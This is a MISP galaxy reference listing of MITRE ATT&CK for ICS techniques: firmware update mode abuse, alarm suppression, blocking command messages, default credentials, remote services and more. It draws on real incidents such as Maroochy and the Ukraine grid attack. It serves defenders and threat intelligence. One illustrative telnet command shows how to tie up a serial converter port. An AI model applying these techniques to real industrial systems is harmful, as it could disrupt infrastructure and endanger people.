The adversary is trying to get into your ICS environment. Initial Access consists of techniques that adversaries may use as entry vectors to gain an initial foothold within an ICS environment. These techniques include compromising operational technology assets, IT resources in the OT network, and external remote services and websites. They may also target third party entities and users with privileged access. In particular, these initial access footholds may include devices and communication mechanisms with access to and privileges in both the IT and OT environments. IT resources in the OT environment are also potentially vulnerable to the same attacks as enterprise IT systems. Trusted third parties of concern may include vendors, maintenance personnel, engineers, external integrators, and other outside entities involved in expected ICS operations. Vendor maintained assets may include physical devices, software, and operational equipment. Initial access techniques may also leverage outside devices, such as radios, controllers, or removable media, to remotely interfere with and possibly infect OT operations.

The tag is: *misp-galaxy:mitre-ics-tactics="Initial Access"*

Table 4908. Table References

Links
https://dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf
https://www.us-cert.gov/ncas/alerts/TA18-074A
https://www.us-cert.gov/ics/alerts/ICS-ALERT-14-281-01B
https://attack.mitre.org/wiki/Technique/T1133
https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf
https://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/
https://ics-cert.us-cert.gov/alerts/IR-ALERT-H-16-056-01
https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html
https://www.us-cert.gov/sites/default/files/Monitors/ICS-CERT_Monitor_Jan-April2014.pdf
https://www.wsj.com/articles/iranian-hackers-infiltrated-new-york-dam-in-2013-1450662559
https://time.com/4270728/iran-cyber-attack-dam-fbi/
https://www.kkw-gundremmingen.de/presse.php?id=571
https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/malware-discovered-in-german-nuclear-power-plant
https://www.reuters.com/article/us-nuclearpower-cyber-germany/german-nuclear-plant-infected-with-computer-viruses-operator-says-idUSKCN0XN2OS
https://news.softpedia.com/news/on-chernobyl-s-30th-anniversary-malware-shuts-down-german-nuclear-power-plant-503429.shtml
https://www.sciencealert.com/multiple-computer-viruses-have-been-discovered-in-this-german-nuclear-plant
https://www.geek.com/apps/german-nuclear-plant-found-riddled-with-conficker-other-viruses-1653415/
https://arstechnica.com/information-technology/2016/04/german-nuclear-plants-fuel-rod-system-swarming-with-old-malware/
https://www.darkreading.com/endpoint/german-nuclear-power-plant-infected-with-malware/d/d-id/1325298
https://www.bbc.com/news/technology-36158606
https://www.welivesecurity.com/2016/04/28/malware-found-german-nuclear-power-plant/
https://attack.mitre.org/techniques/T1193/
https://www.f-secure.com/weblog/archives/00002718.html
https://www.blackhat.com/docs/us-14/materials/us-14-Bolshev-ICSCorsair-How-I-Will-PWN-Your-ERP-Through-4-20mA-Current-Loop-WP.pdf
https://www.slideshare.net/dgpeters/17-bolshev-1-13

https://www.mitre.org/sites/default/files/pdf/08_1145.pdf
https://www.londonreconnections.com/2017/hacked-cyber-security-railways/
https://inhomelandsecurity.com/teen_hacker_in_poland_plays_tr/
https://www.schneier.com/blog/archives/2008/01/hacking_the_pol.html

Techniques

A list of Techniques in ATT&CK for ICS..

Techniques is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

Activate Firmware Update Mode

Adversaries may activate firmware update mode on devices to prevent expected response functions from engaging in reaction to an emergency or process malfunction. For example, devices such as protection relays may have an operation mode designed for firmware installation. This mode may halt process monitoring and related functions to allow new firmware to be loaded. A device left in update mode may be placed in an inactive holding state if no firmware is provided to it. By entering and leaving a device in this mode, the adversary may deny its usual functionalities.

The tag is: *misp-galaxy:mitre-ics-techniques="Activate Firmware Update Mode"*

Table 4909. Table References

Links
https://dragos.com/wp-content/uploads/CRASHOVERRIDE.pdf
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf

Alarm Suppression

Adversaries may target protection function alarms to prevent them from notifying operators of critical conditions. Alarm messages may be a part of an overall reporting system and of particular interest for adversaries. Disruption of the alarm system does not imply the disruption of the reporting system as a whole. In the Maroochy Attack, the adversary suppressed alarm reporting to the central computer. A Secura presentation on targeting OT notes a dual fold goal for adversaries attempting alarm suppression: prevent outgoing alarms from being raised and prevent incoming alarms from being responded to. The method of suppression may greatly depend on the type of alarm in question: An alarm raised by a protocol message. An alarm signaled with I/O. An alarm bit set in a flag and read In ICS environments, the adversary may have to suppress or contend with multiple alarms and/or alarm propagation to achieve a specific goal to evade detection or prevent intended responses from occurring.2 Methods of suppression may involve tampering or altering device displays and logs, modifying in memory code to fixed values, or even tampering with assembly level instruction code.

The tag is: *misp-galaxy:mitre-ics-techniques="Alarm Suppression"*

Table 4910. Table References

Links
https://www.mitre.org/sites/default/files/pdf/08_1145.pdf
https://troopers.de/downloads/troopers19/TROOPERS19_NGI_IoT_diet_poisoned_fruit.pdf

Automated Collection

Adversaries may automate collection of industrial environment information using tools or scripts. This automated collection may leverage native control protocols and tools available in the control systems environment. For example, the OPC protocol may be used to enumerate and gather information. Access to a system or interface with these native protocols may allow collection and enumeration of other attached, communicating servers and devices.

The tag is: *misp-galaxy:mitre-ics-techniques="Automated Collection"*

Table 4911. Table References

Links
https://www.f-secure.com/weblog/archives/00002718.html
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf

Block Command Message

Adversaries may block a command message from reaching its intended target to prevent command execution. In OT networks, command messages are sent to provide instructions to control system devices. A blocked command message can inhibit response functions from correcting a disruption or unsafe condition. In the 2015 attack on the Ukranian power grid, malicious firmware was used to render communication devices inoperable and effectively prevent them from receiving remote command messages.

The tag is: *misp-galaxy:mitre-ics-techniques="Block Command Message"*

Table 4912. Table References

Links
http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258
https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Block Reporting Message

Adversaries may block or prevent a reporting message from reaching its intended target. Reporting messages relay the status of control system devices, which can include event log data and I/O values of the associated device. By blocking these reporting messages, an adversary can potentially hide their actions from an operator. Blocking reporting messages in control systems that manage physical processes may contribute to system impact, causing inhibition of a response function. A control system may not be able to respond in a proper or timely manner to an event, such as a dangerous fault, if its corresponding reporting message is blocked. In the 2015 attack on the Ukranian power grid, malicious firmware was used to render communication devices inoperable and effectively block messages from being reported.

The tag is: *misp-galaxy:mitre-ics-techniques="Block Reporting Message"*

Table 4913. Table References

Links
http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258
https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Block Serial COM

Adversaries may block access to serial COM to prevent instructions or configurations from reaching target devices. Serial Communication ports (COM) allow communication with control system devices. Devices can receive command and configuration messages over such serial COM. Devices also use serial COM to send command and reporting messages. Blocking device serial COM may also block command messages and block reporting messages. A serial to Ethernet converter is often connected to a serial COM to facilitate communication between serial and Ethernet devices. One approach to blocking a serial COM would be to create and hold open a TCP session with the Ethernet side of the converter. A serial to Ethernet converter may have a few ports open to facilitate multiple communications. For example, if there are three serial COM available — 1, 2 and 3 --, the converter might be listening on the corresponding ports 20001, 20002, and 20003. If a TCP/IP connection is opened with one of these ports and held open, then the port will be unavailable for use by another party. One way the adversary could achieve this would be to initiate a TCP session with the serial to Ethernet converter at 10.0.0.1 via Telnet on serial port 1 with the following command: telnet 10.0.0.1 20001.

The tag is: *misp-galaxy:mitre-ics-techniques="Block Serial COM"*

Table 4914. Table References

Links
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Brute Force I/O

Adversaries may brute force I/O addresses on a device and attempt to exhaustively perform an action. By enumerating the full range of I/O addresses, an adversary may manipulate a process function without having to target specific I/O interfaces. More than one process function manipulation and enumeration pass may occur on the targeted I/O range in a brute force attempt.

The tag is: *misp-galaxy:mitre-ics-techniques="Brute Force I/O"*

Table 4915. Table References

Links
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf

Change Program State

Adversaries may attempt to change the state of the current program on a control device. Program state changes may be used to allow for another program to take over control or be loaded onto the device.

The tag is: *misp-galaxy:mitre-ics-techniques="Change Program State"*

Table 4916. Table References

Links
https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC-wp.pdf
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf
https://github.com/MDudek-ICS/TRISIS-TRITON-HATMAN/tree/master/decompiled_code/library

Command-Line Interface

Adversaries may utilize command-line interfaces (CLIs) to interact with systems and execute commands. CLIs provide a means of interacting with computer systems and are a common feature across many types of platforms and devices within control systems environments. Adversaries may also use CLIs to install and run new software, including malicious tools that may be installed over the course of an operation. CLIs are typically accessed locally, but can also be exposed via services, such as SSH, Telnet, and RDP. Commands that are executed in the CLI execute with the current permissions level of the process running the terminal emulator, unless the command specifies a change in permissions context. Many controllers have CLI interfaces for management purposes.

The tag is: *misp-galaxy:mitre-ics-techniques="Command-Line Interface"*

Table 4917. Table References

Links
https://attack.mitre.org/wiki/Technique/T1059

https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Commonly Used Port

Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend in with normal network activity, to avoid more detailed inspection. They may use the protocol associated with the port, or a completely different protocol. They may use commonly open ports, such as the examples as follows TCP:80 (HTTP), TCP:443 (HTTPS), TCP/UDP:53 (DNS), TCP:1024-4999 (OPC on XP/Win2k3), TCP:49152-65535 (OPC on Vista and later), TCP:23 (TELNET), UDP:161 (SNMP), TCP:502 (MODBUS), TCP:102 (S7comm/ISO-TSAP), TCP:20000 (DNP3), TCP:44818 (Ethernet/IP)

The tag is: *misp-galaxy:mitre-ics-techniques="Commonly Used Port"*

Table 4918. Table References

Links
https://www.us-cert.gov/ncas/alerts/TA17-293A
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf
https://www.midnightbluelabs.com/blog/2018/1/16/analyzing-the-triton-industrial-malware
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Connection Proxy

Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications. The definition of a proxy can also be expanded to encompass trust relationships between networks in peer-to-peer, mesh, or trusted connections between networks consisting of hosts or systems that regularly communicate with each other. The network may be within a single organization or across multiple organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.

The tag is: *misp-galaxy:mitre-ics-techniques="Connection Proxy"*

Table 4919. Table References

Links
https://attack.mitre.org/wiki/Technique/T1090
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf
https://www.cpni.gov.uk/Documents/Publications/2014/2014-04-23-c2-report-birmingham.pdf

Damage to Property

Adversaries may cause damage and destruction of property to infrastructure, equipment, and the surrounding environment when attacking control systems. This technique may result in device and operational equipment breakdown, or represent tangential damage from other techniques used in an attack. Depending on the severity of physical damage and disruption caused to control processes and systems, this technique may result in Loss of Safety. Operations that result in Loss of Control may also cause damage to property, which may be directly or indirectly motivated by an adversary seeking to cause impact in the form of Loss of Productivity and Revenue. The German Federal Office for Information Security (BSI) reported a targeted attack on a steel mill under an incidents affecting business section of its 2014 IT Security Report. These targeted attacks affected industrial operations and resulted in breakdowns of control system components and even entire installations. As a result of these breakdowns, massive impact and damage resulted from the uncontrolled shutdown of a blast furnace. In the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. This ultimately led to 800,000 liters of raw sewage being spilled out into the community. The raw sewage affected local parks, rivers, and even a local hotel. This resulted in harm to marine life and produced a sickening stench from the community's now blackened rivers. A Polish student used a remote controller device to interface with the Lodz city tram system in Poland.345 Using this remote, the student was able to capture and replay legitimate tram signals. This resulted in damage to impacted trams, people, and the surrounding property. Reportedly, four trams were derailed and were forced to make emergency stops.4 Commands issued by the student may have also resulted in tram collisions, causing harm to those on board and the environment outside.

The tag is: *misp-galaxy:mitre-ics-techniques="Damage to Property"*

Table 4920. Table References

Links
https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/Securitysituation/IT-Security-Situation-in-Germany-2014.pdf*?blob=publicationFile&v=3[https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/Securitysituation/IT-Security-Situation-in-Germany-2014.pdf* ?blob=publicationFile&v=3]
https://www.mitre.org/sites/default/files/pdf/08_1145.pdf
https://www.londonreconnections.com/2017/hacked-cyber-security-railways/
https://inhomelandsecurity.com/teen_hacker_in_poland_plays_tr/
https://www.schneier.com/blog/archives/2008/01/hacking_the_pol.html
https://www.langner.com/wp-content/uploads/2017/03/to-kill-a-centrifuge.pdf

Data Destruction

Adversaries may perform data destruction over the course of an operation. The adversary may drop or create malware, tools, or other non-native files on a target system to accomplish this, potentially leaving behind traces of malicious activities. Such non-native files and other data may be removed over the course of an intrusion to maintain a small footprint or as a standard part of the post-intrusion cleanup process. Data destruction may also be used to render operator interfaces unable to respond and to disrupt response functions from occurring as expected. An adversary may also destroy data backups that are vital to recovery after an incident. Standard file deletion commands are available on most operating system and device interfaces to perform cleanup, but adversaries may use other tools as well. Two examples are Windows Sysinternals SDelete and Active@ Killdisk.

The tag is: *misp-galaxy:mitre-ics-techniques="Data Destruction"*

Table 4921. Table References

Links
https://attack.mitre.org/wiki/Technique/T1107
https://dragos.com/blog/crashoverride/CrashOverride-01.pdf
https://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Data Historian Compromise

Adversaries may compromise and gain control of a data historian to gain a foothold into the control system environment. Access to a data historian may be used to learn stored database archival and analysis information on the control system. A dual-homed data historian may provide adversaries an interface from the IT environment to the OT environment. Dragos has released an updated analysis on CrashOverride that outlines the attack from the ICS network breach to payload delivery and execution.1 The report summarized that CrashOverride represents a new application of malware, but relied on standard intrusion techniques. In particular, new artifacts include refs to a Microsoft Windows Server 2003 host, with a SQL Server. Within the ICS environment, such a database server can act as a data historian. Dragos noted a device with this role should be expected to have extensive connections within the ICS environment. Adversary activity leveraged database capabilities to perform reconnaissance, including directory queries and network connectivity checks.

The tag is: *misp-galaxy:mitre-ics-techniques="Data Historian Compromise"*

Table 4922. Table References

Links

https://dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf

Data from Information Repositories

Adversaries may target and collect data from information repositories. This can include sensitive data such as specifications, schematics, or diagrams of control system layouts, devices, and processes. Examples of target information repositories include reference databases and local machines on the process environment.

The tag is: *misp-galaxy:mitre-ics-techniques="Data from Information Repositories"*

Table 4923. Table References

Links
https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf
https://www.symantec.com/security-center/writeup/2012-052811-0308-99

Default Credentials

Adversaries may leverage manufacturer or supplier set default credentials on control system devices. These default credentials may have administrative permissions and may be necessary for initial configuration of the device. It is general best practice to change the passwords for these accounts as soon as possible, but some manufacturers may have devices that have passwords or usernames that cannot be changed. Default credentials are normally documented in an instruction manual that is either packaged with the device, published online through official means, or published online through unofficial means. Adversaries may leverage default credentials that have not been properly modified or disabled.

The tag is: *misp-galaxy:mitre-ics-techniques="Default Credentials"*

Table 4924. Table References

Links
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Denial of Control

Adversaries may cause a denial of control to temporarily prevent operators and engineers from interacting with process controls. An adversary may attempt to deny process control access to cause a temporary loss of communication with the control device or to prevent operator adjustment of process controls. An affected process may still be operating during the period of control loss, but not necessarily in a desired state. In the Maroochy attack, the adversary was able to temporarily shut an investigator out of the network preventing them from issuing any controls.

The tag is: *misp-galaxy:mitre-ics-techniques="Denial of Control"*

Table 4925. Table References

Links
https://www.corero.com/resources/files/whitepapers/cns_whitepaper_ics.pdf
https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297
https://books.google.com/books?id=oXIYBAAAQBAJ&pg=PA249&lpg=PA249&dq=loss+denial+manipulation+of+view&source=bl&ots=dV1uQ8IUff&sig=ACfU3U2NIwGjhg051D_Ytw6npyEk9xcf4w&hl=en&sa=X&ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAgQAQ#v=onepage&q=loss%20denial%20manipulation%20of%20view&f=false
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf

Denial of Service

Adversaries may perform Denial-of-Service (DoS) attacks to disrupt expected device functionality. Examples of DoS attacks include overwhelming the target device with a high volume of requests in a short time period and sending the target device a request it does not know how to handle. Disrupting device state may temporarily render it unresponsive, possibly lasting until a reboot can occur. When placed in this state, devices may be unable to send and receive requests, and may not perform expected response functions in reaction to other events in the environment. Some ICS devices are particularly sensitive to DoS events, and may become unresponsive in reaction to even a simple ping sweep. Adversaries may also attempt to execute a Permanent Denial-of-Service (PDoS) against certain devices, such as in the case of the BrickerBot malware. Adversaries may exploit a software vulnerability to cause a denial of service by taking advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in software that can be used to cause a or denial of service condition. Adversaries may have prior knowledge about industrial protocols or control devices used in the environment through Control Device Identification. There are examples of adversaries remotely causing a Device Restart/Shutdown by exploiting a vulnerability that induces uncontrolled resource consumption. In the Maroochy attack, the adversary was able to shut an investigator out of the network.

The tag is: *misp-galaxy:mitre-ics-techniques="Denial of Service"*

Table 4926. Table References

Links
https://www.us-cert.gov/ics/alerts/ICS-ALERT-17-102-01A
https://ics-cert.us-cert.gov/advisories/ICSA-15-202-01
http://cwe.mitre.org/data/definitions/400.html
https://nvd.nist.gov/vuln/detail/CVE-2015-5374
https://www.mitre.org/sites/default/files/pdf/08_1145.pdf
https://ics-cert.us-cert.gov/advisories/ICSA-14-178-01
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf

https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC-wp.pdf

Denial of View

Adversaries may cause a denial of view in attempt to disrupt and prevent operator oversight on the status of an ICS environment. This may manifest itself as a temporary communication failure between a device and its control source, where the interface recovers and becomes available once the interference ceases. An adversary may attempt to deny operator visibility by preventing them from receiving status and reporting messages. Denying this view may temporarily block and prevent operators from noticing a change in state or anomalous behavior. The environment's data and processes may still be operational, but functioning in an unintended or adversarial manner. In the Maroochy attack, the adversary was able to temporarily shut an investigator out of the network, preventing them from viewing the state of the system.

The tag is: *misp-galaxy:mitre-ics-techniques="Denial of View"*

Table 4927. Table References

Links
https://www.corero.com/resources/files/whitepapers/cns_whitepaper_ics.pdf
https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297
https://books.google.com/books?id=oXIYBAAAQBAJ&pg=PA249&lpg=PA249&dq=loss+denial+manipulation+of+view&source=bl&ots=dV1uQ8IUff&sig=ACfU3U2NIwGjhg051D_Ytw6npyEk9xcf4w&hl=en&sa=X&ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAgQAQ#v=onepage&q=loss%20denial%20manipulation%20of%20view&f=false

Detect Operating Mode

Adversaries may gather information about the current operating state of a PLC. CPU operating modes are often controlled by a key switch on the PLC. Example states may be run, prog, stop, remote, and invalid. Knowledge of these states may be valuable to an adversary to determine if they are able to reprogram the PLC.

The tag is: *misp-galaxy:mitre-ics-techniques="Detect Operating Mode"*

Table 4928. Table References

Links
Triton contains a file named TS_cnames.py which contains default definitions for key state (TS_keystate). Key state is referenced in TsHi.py.[Triton contains a file named TS_cnames.py which contains default definitions for key state (TS_keystate). Key state is referenced in TsHi.py.]

Detect Program State

Adversaries may seek to gather information about the current state of a program on a PLC. State information reveals information about the program, including whether it's running, halted, stopped, or has generated an exception. This information may be leveraged as a verification of malicious program execution or to determine if a PLC is ready to download a new program.

The tag is: *misp-galaxy:mitre-ics-techniques="Detect Program State"*

Table 4929. Table References

Links
https://github.com/MDudek-ICS/TRISIS-TRITON-HATMAN/tree/master/decompiled_code/library

Device Restart/Shutdown

Adversaries may forcibly restart or shutdown a device in the ICS environment to disrupt and potentially cause adverse effects on the physical processes it helps to control. Methods of device restart and shutdown exist as built-in, standard functionalities. This can include interactive device web interfaces, CLIs, and network protocol commands, among others. Device restart or shutdown may also occur as a consequence of changing a device into an alternative mode of operation for testing or firmware loading. Unexpected restart or shutdown of control system devices may contribute to impact, by preventing expected response functions from activating and being received in critical states. This can also be a sign of malicious device modification, as many updates require a shutdown in order to take affect. For example, DNP3's function code 0x0D can reset and reconfigure DNP3 outstations by forcing them to perform a complete power cycle. In the 2015 attack on the Ukranian power grid, the adversaries gained access to the control networks of three different energy companies. The adversaries scheduled disconnects for the uniterruptable power supply (UPS) systems so that when power was disconnected from the substations, the devices would shut down and service could not be recovered.

The tag is: *misp-galaxy:mitre-ics-techniques="Device Restart/Shutdown"*

Table 4930. Table References

Links
http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258
https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Drive-by Compromise

Adversaries may gain access to a system during a drive-by compromise, when a user visits a website as part of a regular browsing session.With this technique, the user's web browser is targeted and exploited simply by visiting the compromised website. The adversary may target a specific community, such as trusted third party suppliers or other industry specific groups, which often visit the target website. This kind of targeted attack relies on a common interest, and is known as a strategic web compromise or watering hole attack. The National Cyber Awareness System (NCAS) has issued a Technical Alert (TA) regarding Russian government cyber activity targeting critical infrastructure sectors. Analysis by DHS and FBI has noted two distinct categories of victims in the Dragonfly campaign on the Western energy sector: staging and intended targets. The adversary targeted the less secure networks of staging targets, including trusted third-party suppliers and related peripheral organizations. Initial access to the intended targets used watering hole attacks to target process control, ICS, and critical infrastructure related trade publications and informational websites.

The tag is: *misp-galaxy:mitre-ics-techniques="Drive-by Compromise"*

Table 4931. Table References

Links
https://www.us-cert.gov/ncas/alerts/TA18-074A
https://www.securityweek.com/allanite-group-targets-ics-networks-electric-utilities-us-uk
https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group
https://www.us-cert.gov/ncas/alerts/TA17-293A
https://www.cyberviser.com/2018/05/group-linked-to-shamoon-attacks-targeting-ics-networks-in-middle-east-and-uk/
https://www.cyberscoop.com/xenotime-ics-cyber-attacks-trisis-dragos/
https://securelist.com/bad-rabbit-ransomware/82851/

Engineering Workstation Compromise

Adversaries may compromise and gain control of an engineering workstation as an Initial Access technique into the control system environment. Access to an engineering workstation may occur as a result of remote access or by physical means, such as a person with privileged access or infection by removable media. A dual-homed engineering workstation may allow the adversary access into multiple networks. For example, unsegregated process control, safety system, or information system networks. An Engineering Workstation is designed as a reliable computing platform that configures, maintains, and diagnoses control system equipment and applications. Compromise of an engineering workstation may provide access to and control of other control system applications and equipment. In the Maroochy attack, the adversary utilized a computer, possibly stolen, with proprietary engineering software to communicate with a wastewater system.

The tag is: *misp-galaxy:mitre-ics-techniques="Engineering Workstation Compromise"*

Table 4932. Table References

Links
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf
https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html

Execution through API

Adversaries may attempt to leverage Application Program Interfaces (APIs) used for communication between control software and the hardware. Specific functionality is often coded into APIs which can be called by software to engage specific functions on a device or other software, such as Change Program State of a program on a PLC.

The tag is: *misp-galaxy:mitre-ics-techniques="Execution through API"*

Table 4933. Table References

Links
https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC-wp.pdf
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf
https://www.midnightbluelabs.com/blog/2018/1/16/analyzing-the-triton-industrial-malware

Exploit Public-Facing Application

Adversaries may attempt to exploit public-facing applications to leverage weaknesses on Internet-facing computer systems, programs, or assets in order to cause unintended or unexpected behavior. These public-facing applications may include user interfaces, software, data, or commands. In particular, a public-facing application in the IT environment may provide adversaries an interface into the OT environment. ICS-CERT analysis has identified the probable initial infection vector for systems running GE's Cimplicity HMI with a direct connection to the Internet.

The tag is: *misp-galaxy:mitre-ics-techniques="Exploit Public-Facing Application"*

Table 4934. Table References

Links
https://www.us-cert.gov/ics/alerts/ICS-ALERT-14-281-01B

Exploitation for Evasion

Adversaries may exploit a software vulnerability to take advantage of a programming error in a program, service, or within the operating system software or kernel itself to evade detection. Vulnerabilities may exist in software that can be used to disable or circumvent security features. Adversaries may have prior knowledge through Control Device Identification about security features implemented on control devices. These device security features will likely be targeted directly for exploitation. There are examples of firmware RAM/ROM consistency checks on control devices being targeted by adversaries to enable the installation of malicious System Firmware.

The tag is: *misp-galaxy:mitre-ics-techniques="Exploitation for Evasion"*

Table 4935. Table References

Links
https://ics-cert.us-cert.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%20-%20Safety%20System%20Targeted%20Malware%20%28Update%20B%29.pdf
https://ics-cert.us-cert.gov/advisories/ICSA-18-107-02
https://www.youtube.com/watch?v=f09E75bWvkk&index=3&list=PL8OWO1qWXF4qYG19p7An4Vw3N2YZ86aRS&t=0s
https://nvd.nist.gov/vuln/detail/CVE-2018-8872
https://cwe.mitre.org/data/definitions/119.html
https://www.nrc.gov/docs/ML1209/ML120900890.pdf

Exploitation of Remote Services

Adversaries may exploit a software vulnerability to take advantage of a programming error in a program, service, or within the operating system software or kernel itself to enable remote service abuse. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system. ICS asset owners and operators have been affected by ransomware (or disruptive malware masquerading as ransomware) migrating from enterprise IT to ICS environments: WannaCry, NotPetya, and BadRabbit. In each of these cases, self-propagating ("wormable") malware initially infected IT networks, but through exploit (particularly the SMBv1-targeting MS17-010 vulnerability) spread to industrial networks, producing significant impacts.

The tag is: *misp-galaxy:mitre-ics-techniques="Exploitation of Remote Services"*

Table 4936. Table References

Links
https://attack.mitre.org/techniques/T1210/
https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/

External Remote Services

Adversaries may leverage external remote services as a point of initial access into your network. These services allow users to connect to internal network resources from external locations. Examples are VPNs, Citrix, and other access mechanisms. Remote service gateways often manage connections and credential authentication for these services. External remote services allow administration of a control system from outside the system. Often, vendors and internal engineering groups have access to external remote services to control system networks via the corporate network. In some cases, this access is enabled directly from the internet. While remote access enables ease of maintenance when a control system is in a remote area, compromise of remote access solutions is a liability. The adversary may use these services to gain access to and execute attacks against a control system network. Access to valid accounts is often a requirement. As they look for an entry point into the control system network, adversaries may begin searching for existing point?to?point VPN implementations at trusted third party networks or through remote support employee connections where split tunneling is enabled. In the Maroochy Attack, the adversary was able to gain remote computer access to the system over radio. The 2015 attack on the Ukranian power grid showed the use of existing remote access tools within the environment to access the control system network. The adversary harvested worker credentials, some of them for VPNs the grid workers used to remotely log into the control system networks.3245 The VPNs into these networks appear to have lacked two?factor authentication.

The tag is: *misp-galaxy:mitre-ics-techniques="External Remote Services"*

Table 4937. Table References

Links
https://attack.mitre.org/wiki/Technique/T1133
https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf
https://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/
https://ics-cert.us-cert.gov/alerts/IR-ALERT-H-16-056-01
https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html
https://dragos.com/blog/trisis/TRISIS-01.pdf
https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Graphical User Interface

Adversaries may attempt to gain access to a machine via a Graphical User Interface (GUI) to enhance execution capabilities. Access to a GUI allows a user to interact with a computer in a more visual manner than a CLI. A GUI allows users to move a cursor and click on interface objects, with a mouse and keyboard as the main input devices, as opposed to just using the keyboard. If physical access is not an option, then access might be possible via protocols such as VNC on Linux-based and Unix-based operating systems, and RDP on Windows operating systems. An adversary can use this access to execute programs and applications on the target machine. In the 2015 attack on the Ukrainian power grid, the adversary utilized the GUI of HMIs in the SCADA environment to open breakers.

The tag is: *misp-galaxy:mitre-ics-techniques="Graphical User Interface"*

Table 4938. Table References

Links
https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
